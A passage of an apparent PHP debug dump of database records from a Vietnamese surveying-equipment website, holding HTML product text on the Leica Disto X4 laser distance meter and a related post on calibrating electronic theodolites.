đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-10', 'status' => '1', 'view' => '84410', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '494', 'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử', 'code' => null, 'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>', 'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy A</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p> <br /> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn 